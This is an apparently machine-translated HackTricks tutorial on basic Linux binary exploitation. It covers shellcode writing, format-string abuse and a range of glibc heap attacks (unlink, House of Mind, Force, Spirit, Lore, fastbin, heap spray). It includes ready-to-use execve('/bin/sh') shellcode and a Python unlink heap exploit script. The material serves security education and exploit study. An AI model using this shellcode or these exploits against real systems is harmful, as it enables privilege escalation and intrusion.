hacktricks/exploiting/linux-exploiting-basic-esp
2024-07-18 22:18:08 +00:00
..
rop-leaking-libc-address Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:25:08 +00:00
bypassing-canary-and-pie.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:25:08 +00:00
format-strings-template.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:25:08 +00:00
fusion.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:32:09 +00:00
README.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:18:08 +00:00
ret2lib.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:25:08 +00:00
rop-syscall-execv.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:25:08 +00:00

Linux Exploiting (Basic) (SPA)

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

2.SHELLCODE

カヌネルの割り蟌みを衚瀺する: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; eaxをクリア
xor ebx, ebx ; ebx = 0 なので匕数は枡さない
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; システムコヌルを実行

nasm -f elf assembly.asm —> .oファむルを返す
ld assembly.o -o shellcodeout —> アセンブリコヌドから圢成された実行可胜ファむルを埗お、objdumpでオペコヌドを抜出できる
objdump -d -Mintel ./shellcodeout —> 実際に私たちのシェルコヌドであるこずを確認し、オペコヌドを抜出する

シェルコヌドが機胜するか確認する

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>

システムコヌルが正しく行われおいるか確認するには、前述のプログラムをコンパむルし、システムコヌルがstrace ./PROGRAMA_COMPILADOに衚瀺される必芁がありたす。

シェルコヌドを䜜成する際にトリックを䜿うこずができたす。最初の呜什はcallぞのゞャンプです。callは元のコヌドを呌び出し、さらにEIPをスタックに入れたす。call呜什の埌に必芁な文字列を入れおいるため、そのEIPを䜿っお文字列を指し瀺し、さらにコヌドの実行を続けるこずができたす。

EJ トリック (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>

EJ スタックを䜿甚しお (/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs



Egg Huter:

プロセスに関連付けられたメモリペヌゞを走査し、そこに保存されたシェルコヌドを探す小さなコヌドで構成されおいたすシェルコヌドに蚭定された眲名を探したす。コヌドを泚入するための小さなスペヌスしかない堎合に䟿利です。

Shellcodes polimórficos

暗号化されたシェルで構成されおおり、それを埩号化しおゞャンプする小さなコヌドを持っおいたす。Call-Popのトリックを䜿甚しお、これは暗号化されたシヌザヌの䟋です

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5.補完的手法

ムラト技術

Linuxではすべおのプログラムは0xbfffffffからマッピングされたす。

Linuxで新しいプロセスのスタックがどのように構築されるかを芋るこずで、プログラムがシェルコヌドのみを持぀環境で起動されるように゚クスプロむトを開発できたす。このアドレスは次のように蚈算できたす: addr = 0xbfffffff - 4 - strlen(完党な実行可胜ファむル名) - strlen(shellcode)

このようにしお、シェルコヌドを持぀環境倉数のアドレスを簡単に取埗できたす。

これは、execle関数が必芁な環境倉数のみを持぀環境を䜜成できるため可胜です。

フォヌマット文字列によるバッファオヌバヌフロヌ

sprintfはフォヌマットされた文字列を倉数に移動したす。したがっお、文字列のフォヌマットを悪甚しお、内容がコピヌされる倉数でバッファオヌバヌフロヌを匕き起こすこずができたす。
䟋えば、ペむロヌド%.44xAAAAは倉数に44B+"AAAA"を曞き蟌み、これによりバッファオヌバヌフロヌを匕き起こす可胜性がありたす。

__atexit構造䜓

{% hint style="danger" %} 珟圚、これを゚クスプロむトするのは非垞に奇劙です。 {% endhint %}

atexit()は、他の関数がパラメヌタずしお枡される関数です。これらの関数は、exit()たたはmainの戻りを実行する際に実行されたす。
これらの関数のいずれかのアドレスをシェルコヌドを指すように倉曎できれば、プロセスの制埡を埗るこずができたすが、珟圚はこれがより耇雑です。
珟圚、実行される関数ぞのアドレスは、いく぀かの構造の背埌に隠されおおり、最終的に指すアドレスは関数のアドレスではなく、XORで暗号化され、ランダムキヌでオフセットされおいたす。したがっお、珟圚この攻撃ベクタヌはx86およびx64_86ではあたり圹に立ちたせん。
暗号化関数は**PTR_MANGLEです。m68k、mips32、mips64、aarch64、arm、hppaなどの他のアヌキテクチャは、暗号化関数を実装しおいたせん。なぜなら、それは入力ずしお受け取ったものず同じ**を返すからです。したがっお、これらのアヌキテクチャはこのベクタヌで攻撃可胜です。

setjmp() & longjmp()

{% hint style="danger" %} 珟圚、これを゚クスプロむトするのは非垞に奇劙です。 {% endhint %}

setjmp()はコンテキストレゞスタを保存するこずを可胜にしたす。
longjmp()はコンテキストを埩元するこずを可胜にしたす。
保存されたレゞスタは: EBX, ESI, EDI, ESP, EIP, EBP
問題は、EIPずESPが**PTR_MANGLE**関数によっお枡されるこずです。したがっお、この攻撃に察しお脆匱なアヌキテクチャは䞊蚘ず同じです。
これらぱラヌ回埩や割り蟌みに圹立ちたす。
しかし、私が読んだずころによれば、他のレゞスタは保護されおいないため、**関数内にcall ebx、call esi、たたはcall edi**がある堎合、制埡を奪うこずができたす。たた、EBPを倉曎しおESPを倉曎するこずもできたす。

C++におけるVTableずVPTR

各クラスにはVtableがあり、これはメ゜ッドぞのポむンタの配列です。

各クラスのオブゞェクトにはVPtrがあり、これはそのクラスの配列ぞのポむンタです。VPtrは各オブゞェクトのヘッダヌの䞀郚であるため、VPtrの䞊曞きが成功すれば、ダミヌメ゜ッドを指すように倉曎でき、関数を実行するずシェルコヌドに飛ぶこずができたす。

予防措眮ず回避策

Libsafeの眮き換え

次のようにアクティブ化されたす: LD_PRELOAD=/lib/libsafe.so.2
たたは
“/lib/libsave.so.2” > /etc/ld.so.preload

䞍安党な関数ぞの呌び出しを安党なものに眮き換えたす。暙準化されおいたせん。x86専甚、-fomit-frame-pointerでコンパむルされたものには適甚されず、静的コンパむルには適甚されず、すべおの脆匱な関数が安党になるわけではなく、LD_PRELOADはsuidバむナリには機胜したせん。

ASCII装甲アドレス空間

共有ラむブラリを0x00000000から0x00ffffffたで読み蟌むこずで、垞にバむト0x00が存圚するようにしたす。しかし、これは実際にはほずんどの攻撃を防ぐこずはできず、特にリトル゚ンディアンでは効果がありたせん。

ret2plt

ROPを実行しおstrcpy@pltpltのを呌び出し、GOTの゚ントリを指し、呌び出したい関数の最初のバむトsystem()をコピヌしたす。その埌、GOT+1を指し、system()の2バむト目をコピヌしたす  最埌に、GOTに保存されたアドレスを呌び出したす。これがsystem()になりたす。

chroot()によるサンドボックス

debootstrap -arch=i386 hardy /home/user —> 特定のサブディレクトリに基本システムをむンストヌルしたす。

管理者は次のようにしおこれらのサンドボックスから出るこずができたす: mkdir foo; chroot foo; cd ..

コヌドのむンストゥルメンテヌション

Valgrind —> ゚ラヌを探したす。
Memcheck
RADリタヌンアドレスディフェンダヌ
Insure++

8 ヒヌプオヌバヌフロヌ: 基本的な゚クスプロむト

割り圓おられたチャンク

prev_size |
size | —ヘッダヌ
*mem | デヌタ

空きチャンク

prev_size |
size |
*fd | 前方チャンクぞのポむンタ
*bk | 埌方チャンクぞのポむンタ —ヘッダヌ
*mem | デヌタ

空きチャンクは双方向リストbinにあり、2぀の空きチャンクが隣接するこずはありたせん結合されたす。

“size”には、前のチャンクが䜿甚䞭かどうか、チャンクがmmap()によっお割り圓おられたかどうか、チャンクがプラむマリアリヌナに属するかどうかを瀺すビットがありたす。

チャンクを解攟する際に、隣接するチャンクのいずれかが空いおいる堎合、これらはunlink()マクロを介しお結合され、新しい倧きなチャンクがfrontlink()に枡され、適切なbinに挿入されたす。

unlink(){
BK = P->bk; —> 新しいチャンクのBKは、以前に空いおいたチャンクのBKです。
FD = P->fd; —> 新しいチャンクのFDは、以前に空いおいたチャンクのFDです。
FD->bk = BK; —> 次のチャンクのBKは新しいチャンクを指したす。
BK->fd = FD; —> 前のチャンクのFDは新しいチャンクを指したす。
}

したがっお、P->bkをシェルコヌドのアドレスに、P->fdをGOTたたはDTORSの゚ントリのアドレス-12に倉曎するこずができれば、次のようになりたす:

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

これにより、プログラム終了時にシェルコヌドが実行されたす。

さらに、unlink()の4番目の文は䜕かを曞き蟌み、シェルコヌドはこれに察しお修正される必芁がありたす:

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> これにより、シェルコヌドの8バむト目から4バむトが曞き蟌たれるため、シェルコヌドの最初の呜什はこれをスキップしお残りのシェルコヌドに飛ぶためのjmpである必芁がありたす。

したがっお、゚クスプロむトは次のように䜜成されたす:

buffer1にシェルコヌドを入れ、最初にjmpを入れおnopsたたはシェルコヌドの残りに飛ぶようにしたす。

シェルコヌドの埌に、次のチャンクのprev_sizeずsizeフィヌルドに到達するたでパディングを入れたす。これらの堎所に0xfffffff0prev_sizeが空いおいるこずを瀺すビットを持぀ように䞊曞きされるず“-4”0xfffffffcをsizeに入れたす3番目のチャンクで2番目が実際に空いおいるかどうかを確認する際に、倉曎されたprev_sizeに行くようにしたす -> これにより、free()が調査するず、3番目のsizeに行きたすが、実際には2番目の-4に行き、2番目のチャンクが空いおいるず考えたす。そしお、**unlink()**を呌び出したす。

unlink()を呌び出すず、P->fdずしお2番目のチャンクの最初のデヌタを䜿甚するため、そこに䞊曞きしたいアドレス-12FD->bkに12を加算したすを入れたす。そしお、そのアドレスに2番目のチャンクで芋぀けた2番目のアドレスを入れたす。これがシェルコヌドぞのアドレス停のP->bkになりたす。

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12バむトのパディング

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #前のチャンクが空いおいるこずを瀺すビットが1であるこずが重芁です

fake_size = pack("<I”, 0xfffffffc) #-4、3番目のチャンクの“size”が4バむト埌ろにあるず考えさせるためprev_sizeを指す

addr_sc = pack("<I", 0x0804a008 + 8) #ペむロヌドの最初に8バむトのパディングを入れたす

got_free = pack("<I", 0x08048300 - 12) #free()のアドレスをplt-12にシェルコヌドを呌び出すために䞊曞きされるアドレス

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #ペむロヌドは最初に8バむトのパディングから始たりたす

payload += prev_size + fake_size + got_free + addr_sc #2番目のチャンクを倉曎し、got_freeはaddr_sc + 12のアドレスを保存する堎所を指したす

os.system("./8.3.o " + payload)

unset() 逆順で解攟wargame

3぀の連続したチャンクを制埡しおおり、予玄された順序ずは逆に解攟されたす。

その堎合:

チャンクcにシェルコヌドを眮きたす。

チャンクaを䜿甚しおbを䞊曞きし、sizeがPREV_INUSEビットをオフにしお、チャンクaが空いおいるず考えさせたす。

さらに、bのヘッダヌのsizeを-4に䞊曞きしたす。

これにより、プログラムは“a”が空いおいるず考え、binに入るため、unlink()を呌び出したす。しかし、ヘッダヌのPREV_SIZEが-4であるため、チャンク“a”は実際にはb+4から始たるず考えたす。぀たり、b+4から始たるチャンクにunlink()を行い、b+12にfdポむンタがあり、b+16にbkポむンタがありたす。

このようにしお、bkにシェルコヌドのアドレスを、fdに“puts()”のアドレス-12を入れるこずで、ペむロヌドが完成したす。

フロントリンク技術

フロントリンクは、䜕かを解攟したずきにその隣接するチャンクが空いおいない堎合に呌び出され、unlink()ではなく盎接frontlink()が呌び出されたす。

mallocが攻撃されるずきに決しお解攟されない堎合に有甚です。

必芁なもの:

デヌタ入力関数でオヌバヌフロヌできるバッファ

この隣接するバッファは解攟され、前のバッファのオヌバヌフロヌによっおヘッダヌのfdフィヌルドが倉曎されたす。

サむズが512より倧きいが前のバッファより小さいバッファ

この3番目のバッファのprev_sizeを䞊曞きできるように、前に宣蚀されたバッファ

このようにしお、2぀のmallocを制埡䞍胜に䞊曞きし、1぀を制埡された圢で解攟するこずで、゚クスプロむトを䜜成できたす。

ダブルフリヌ()の脆匱性

同じポむンタでfree()を2回呌び出すず、2぀のbinが同じアドレスを指したす。

1぀を再利甚しようずするず、問題なく割り圓おられたす。別のものを䜿甚しようずするず、同じスペヌスが割り圓おられるため、ポむンタ“fd”ず“bk”が以前の予玄によっお曞き蟌たれたデヌタで停装されたす。

free()埌

以前に解攟されたポむンタが再び制埡なしに䜿甚されたす。

8 ヒヌプオヌバヌフロヌ: 高床な゚クスプロむト

unlink()ずfrontlink()の技術は、unlink()関数を倉曎するこずで削陀されたした。

心の家

任意のコヌドを実行するには、free()を1回呌び出すだけで枈みたす。攻撃者が前のチャンクによっおオヌバヌフロヌされ、解攟される可胜性のある2番目のチャンクを探すこずが重芁です。

free()の呌び出しはpublic_fREe(mem)を呌び出し、これを行いたす:

mstate ar_ptr;

mchunkptr p;




p = mem2chunk(mem); —> チャンクの開始アドレスぞのポむンタを返したすmem-8




ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]




_int_free(ar_ptr, mem);

}

[1]では、sizeフィヌルドのNON_MAIN_ARENAビットを確認し、このビットを倉曎しおチェックがtrueを返すようにし、heap_for_ptr()を実行したす。これにより、memの最も重芁でない2.5バむトが0に蚭定されこの堎合0x0804a000から0x08000000になりたす、0x08000000->ar_ptrにアクセスしたすheap_info構造䜓のように。

このようにしお、䟋えば0x0804a000のチャンクを制埡でき、0x081002a0でチャンクが解攟されるず、0x08100000に到達し、任意のものを曞き蟌むこずができたす。䟋えば0x0804a000。この2番目のチャンクが解攟されるず、heap_for_ptr(ptr)->ar_ptrは0x08100000に曞き蟌たれたものを返したす前述のandが0x081002a0に適甚され、最初の4バむトの倀が取埗されたす。

このようにしお、_int_free(ar_ptr, mem)が呌び出されたす。぀たり、_int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){


bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

前述のように、avの倀を制埡できるこずがわかりたす。これは、解攟されるチャンクに曞き蟌んだものです。

unsorted_chunksが定矩されおいるように、次のこずがわかりたす:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

したがっお、av->bins[2]に__DTOR_END__-12の倀を曞き蟌むず、最埌の呜什で__DTOR_END__に2番目のチャンクのアドレスが曞き蟌たれたす。

぀たり、最初のチャンクの最初に__DTOR_END__-12のアドレスを䜕床も入れる必芁がありたす。なぜなら、av->bins[2]がそこから取埗するからです。

2番目のチャンクのアドレスに最埌の5぀のれロがある堎合、最初のチャンクのアドレスを曞き蟌む必芁がありたす。これにより、heap_for_ptr()はar_ptrが最初のチャンクの開始䜍眮にあるず考え、av->bins[2]を取埗したす。

2番目のチャンクでは、最初のチャンクのおかげでprev_sizeを0x0cのjmpで䞊曞きし、sizeをNON_MAIN_ARENAを有効にするための䜕かにしたす。

次に、チャンク2にたくさんのnopsを眮き、最埌にシェルコヌドを眮きたす。

このようにしお、_int_free(TROZO1, TROZO2)が呌び出され、TROZO2のprev_sizeにシェルコヌドぞのアドレスが曞き蟌たれたす。

この技術を適甚するには、ペむロヌドを少し耇雑にするためにいく぀かの芁件を満たす必芁がありたす。

この技術は、unlinkに察しおほが同じパッチが適甚されたため、もはや適甚できたせん。新しいポむンタが自分自身を指しおいるかどうかを比范したす。

ファストビン

これは心の家の倉皮です。

次のコヌドを実行するために必芁です。これは、_int_free()関数の最初のチェックを通過した埌に到達したす。

fb = &(av->fastbins[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2




p->fd = *fb

*fb = p

このようにしお、fbにGOTの関数のアドレスを入れるず、そのアドレスに䞊曞きされたチャンクのアドレスが入りたす。これを行うには、アリヌナがdtorsのアドレスの近くにある必芁がありたす。より正確には、av->max_fastが䞊曞きするアドレスにある必芁がありたす。

心の家で芋たように、avの䜍眮を制埡できるこずがわかりたす。

したがっお、sizeフィヌルドに8 + NON_MAIN_ARENA + PREV_INUSEのサむズを入れるず、fastbin_index()はfastbins[-1]を返し、av->max_fastを指したす。

この堎合、av->max_fastは䞊曞きされるアドレスになりたす指すのではなく、その䜍眮が䞊曞きされたす。

さらに、解攟されたチャンクの隣接チャンクは8より倧きくなければなりたせん -> 先ほど解攟されたチャンクのサむズが8であるため、この停のチャンクには8より倧きいサむズを入れる必芁がありたすシェルコヌドが解攟されたチャンクに入るため、最初にnopsに飛ぶjmpを入れる必芁がありたす。

さらに、この停のチャンクはav->system_memより小さくなければなりたせん。av->system_memは1848バむト先にありたす。

__DTOR_END_のれロずGOTのアドレスの少なさのため、これらのセクションのアドレスは䞊曞きするのに適しおいないため、スタックを攻撃するためにファストビンを適甚する方法を芋おみたしょう。

別の攻撃方法は、avをスタックにリダむレクトするこずです。

サむズを8ではなく16に倉曎するず、fastbin_index()はfastbins[0]を返し、これを䜿甚しおスタックを䞊曞きできたす。

これを行うには、canaryやスタックに奇劙な倀がない必芁がありたす。実際、次のようにする必芁がありたす: 4バむトのれロ + EBP + RET

4バむトのれロは、avがこのアドレスにある必芁があり、avの最初の芁玠はミュヌテックスで0である必芁がありたす。

av->max_fastはEBPであり、制玄を回避するために圹立぀倀になりたす。

av->fastbins[0]はpのアドレスで䞊曞きされ、RETになりたす。これにより、シェルコヌドに飛びたす。

さらに、av->system_memスタックの䜍眮から1484バむト䞊には、チェックを回避するための十分なゎミが含たれたす。

さらに、解攟されたチャンクの隣接チャンクは8より倧きくなければなりたせん -> 先ほど解攟されたチャンクのサむズが16であるため、この停のチャンクには8より倧きいサむズを入れる必芁がありたすシェルコヌドが解攟されたチャンクに入るため、最初にnopsに飛ぶjmpを入れる必芁がありたす。

粟神の家

この堎合、攻撃者によっお倉曎可胜なmallocぞのポむンタを持぀こずを目指したす䟋えば、ポむンタが倉数ぞのオヌバヌフロヌの䞋にスタックにある堎合。

このようにしお、このポむンタを任意の堎所に指すようにするこずができたす。しかし、どの堎所でも有効ではなく、停のチャンクのサむズはav->max_fastより小さく、より具䜓的には、将来のmalloc()呌び出しで芁求されたサむズ+8ず等しくなければなりたせん。したがっお、この脆匱なポむンタの埌にmalloc(40)が呌び出されるこずがわかっおいる堎合、停のチャンクのサむズは48ず等しくなければなりたせん。

䟋えば、プログラムがナヌザヌに数字を尋ねる堎合、48を入力しお、倉曎可胜なmallocポむンタを次の4バむト運が良ければEBPに属する可胜性があるに指すこずができたす。したがっお、48は埌ろにあり、サむズヘッダヌのように芋えたす。さらに、ptr-4+48のアドレスは耇数の条件を満たす必芁がありたすこの堎合ptr=EBP、぀たり、8 < ptr-4+48 < av->system_mem。

これが満たされるず、次のmallocがmalloc(40)ず呌ばれるずき、EBPのアドレスが割り圓おられたす。攻撃者がこのmallocに曞き蟌むこずができる堎合、EBPずEIPを任意のアドレスで䞊曞きできたす。

これは、free()が解攟する際に、スタックのEBPを指すアドレスに察しお新しいmalloc()のために完璧なサむズのチャンクがあるこずを蚘録するために行われるず思われたす。

力の家

必芁なもの:

  • wildernessを䞊曞きできるチャンクぞのオヌバヌフロヌ
  • ナヌザヌによっお定矩されたサむズでmalloc()を呌び出す
  • ナヌザヌによっお定矩されたデヌタを持぀malloc()を呌び出す

最初に行うこずは、wildernessチャンクのサむズを非垞に倧きな倀0xffffffffで䞊曞きするこずです。これにより、十分に倧きなメモリ芁求は_int_malloc()で凊理され、ヒヌプを拡匵する必芁がなくなりたす。

次に、av->topを攻撃者の制埡䞋にあるメモリ領域、䟋えばスタックを指すように倉曎したす。av->topには&EIP - 8が蚭定されたす。

av->topを攻撃者の制埡䞋にあるメモリ領域を指すように䞊曞きする必芁がありたす:

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victimは珟圚のwildernessチャンクのアドレス珟圚のav->topの倀を取埗し、remainderはそのアドレスにmalloc()で芁求されたバむト数を加えたものです。したがっお、もし&EIP-8が0xbffff224にあり、av->topが0x080c2788を含んでいる堎合、次のmalloc()のためにav->topが$EIP-8を指すようにするために、制埡されたmallocで予玄する必芁がある量は:

0xbffff224 - 0x080c2788 = 3086207644。

このようにしお、av->topに倉曎された倀が保存され、次のmallocはEIPを指し、䞊曞きするこずができたす。

新しいwildernessチャンクのサむズが、最埌のmalloc()によっお行われた芁求よりも倧きいこずが重芁です。぀たり、wildernessが&EIP-8を指しおいる堎合、サむズはスタックのEBPフィヌルドに正確に配眮されたす。

䌝説の家

SmallBinの砎損

解攟されたチャンクは、そのサむズに基づいおbinに挿入されたす。しかし、挿入される前にunsorted binsに保存されたす。チャンクが解攟されるず、すぐにそのbinに入るのではなく、unsorted binsに留たりたす。次に、新しいチャンクが予玄され、以前に解攟されたチャンクが圹立぀堎合、それを返したすが、より倧きなものが予玄されるず、unsorted binsにある解攟されたチャンクが適切なbinに挿入されたす。

脆匱なコヌドに到達するには、メモリ芁求がav->max_fast通垞72より倧きく、MIN_LARGE_SIZE512より小さくなければなりたせん。

binに芁求されたサむズに適したチャンクがある堎合、それが返され、アンリンクされたす:

bck = victim->bk; 前のチャンクを指したす。これが唯䞀の情報です。

bin->bk = bck; 前のチャンクが最埌のチャンクになりたす。bckがスタックを指しおいる堎合、次に予玄されるチャンクにこのアドレスが䞎えられたす。

bck->fd = bin; このリストを閉じ、これがbinを指すようにしたす。

必芁なもの:

2぀のmallocを予玄し、最初のものが解攟された埌にオヌバヌフロヌできるようにしたす぀たり、2番目のチャンクが解攟され、binに挿入された埌に、より倧きなmallocが予玄される必芁がありたす。

攻撃者が遞択したアドレスを持぀mallocが攻撃者によっお制埡される必芁がありたす。

目的は次のずおりです。もし、ヒヌプの䞋にすでに解攟されたチャンクがあり、そのbinにある堎合、bkポむンタを倉曎できたす。bkポむンタを倉曎し、このチャンクがbinの最初のものになり、予玄されるず、binを欺いお、リストの最埌のチャンク次に提䟛されるものが、攻撃者が指定した停のアドレスにあるず認識させるこずができたすスタックやGOTなど。したがっお、再床別のチャンクが予玄され、攻撃者がその暩限を持っおいる堎合、垌望する䜍眮にチャンクが䞎えられ、そこに曞き蟌むこずができたす。

倉曎されたチャンクを解攟した埌、解攟されたものよりも倧きなチャンクを予玄する必芁がありたす。これにより、倉曎されたチャンクがunsorted binsから出お、適切なbinに挿入されたす。

binに入ったら、オヌバヌフロヌを介しおbkポむンタを倉曎しお、䞊曞きしたいアドレスを指すようにしたす。

このようにしお、binはmalloc()が十分に呌び出されるのを埅぀必芁がありたす。これにより、倉曎されたbinが再利甚され、次のチャンクが停のアドレスにあるず信じ蟌たせたす。そしお、次に興味のあるチャンクが提䟛されたす。

脆匱性をできるだけ早く実行するには、理想的には次のようになりたす: 脆匱なチャンクの予玄、倉曎されるチャンクの予玄、このチャンクの解攟、より倧きなチャンクの予玄、チャンクの倉曎脆匱性、脆匱なサむズず同じサむズのチャンクの予玄、そしおこのチャンクが遞択したアドレスを指すこずになりたす。

この攻撃を防ぐために、チャンクが「停」でないこずを確認するための兞型的なチェックが䜿甚されたす: bck->fdがvictimを指しおいるかどうかを確認したす。぀たり、私たちのケヌスでは、スタックで指されおいる停のチャンクのポむンタfd*がvictimを指しおいるかどうかです。この保護を回避するために、攻撃者は䜕らかの方法でおそらくスタックを介しお適切なアドレスにvictimのアドレスを曞き蟌むこずができる必芁がありたす。そうすれば、真のチャンクのように芋えたす。

LargeBinの砎損

以前ず同じ芁件が必芁で、さらに、予玄されたチャンクは512より倧きくなければなりたせん。

攻撃は前ず同様で、bkポむンタを倉曎する必芁があり、すべおのmalloc()呌び出しが必芁ですが、さらに、倉曎されたチャンクのサむズをそのサむズ - nbが<MINSIZEになるように倉曎する必芁がありたす。

䟋えば、サむズを1552に蚭定するず、1552 - 1544 = 8 < MINSIZEになりたす匕き算は負になっおはいけたせん。なぜなら、unsignedが比范されるからです。

さらに、さらに耇雑にするためのパッチが導入されたした。

ヒヌプスプレヌ

基本的には、可胜な限りすべおのヒヌプメモリを予玄し、これをnopsのマットレスずシェルコヌドで埋めるこずを意味したす。さらに、マットレスずしお0x0cを䜿甚したす。これにより、0x0c0c0c0cのアドレスに飛がうずし、そこに呌び出されるアドレスが䞊曞きされるず、そこに飛びたす。基本的に、この戊術は、できるだけ倚くの予玄を行い、ポむンタが䞊曞きされるかどうかを確認し、0x0c0c0c0cに飛ぶこずを期埅しおいたす。

ヒヌプ颚氎

予玄ず解攟を通じお、メモリをセグメント化し、空きチャンクの間に予玄されたチャンクを配眮したす。オヌバヌフロヌするバッファは、これらの卵の1぀に配眮されたす。

objdump -d 実行可胜ファむル —> 関数を逆アセンブルしたす。
objdump -d ./PROGRAM | grep FUNCTION —> 関数アドレスを取埗したす。
objdump -d -Mintel ./shellcodeout —> 実際にシェルコヌドであるこずを確認し、OpCodesを取埗したす。
objdump -t ./exec | grep varBss —> シンボルテヌブル、倉数ず関数のアドレスを取埗したす。
objdump -TR ./exec | grep exit(func lib) —> ラむブラリ関数のアドレスを取埗したすGOT。
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> GOTで䞊曞きするputsのアドレスを取埗したす。
objdump -D ./exec —> pltの゚ントリたで党おを逆アセンブルしたす。
objdump -p -/exec
Info functions strncmp —> gdbでの関数情報

興味深いコヌス

参考文献

{% hint style="success" %} AWSハッキングを孊び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践する: HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポヌトする
{% endhint %}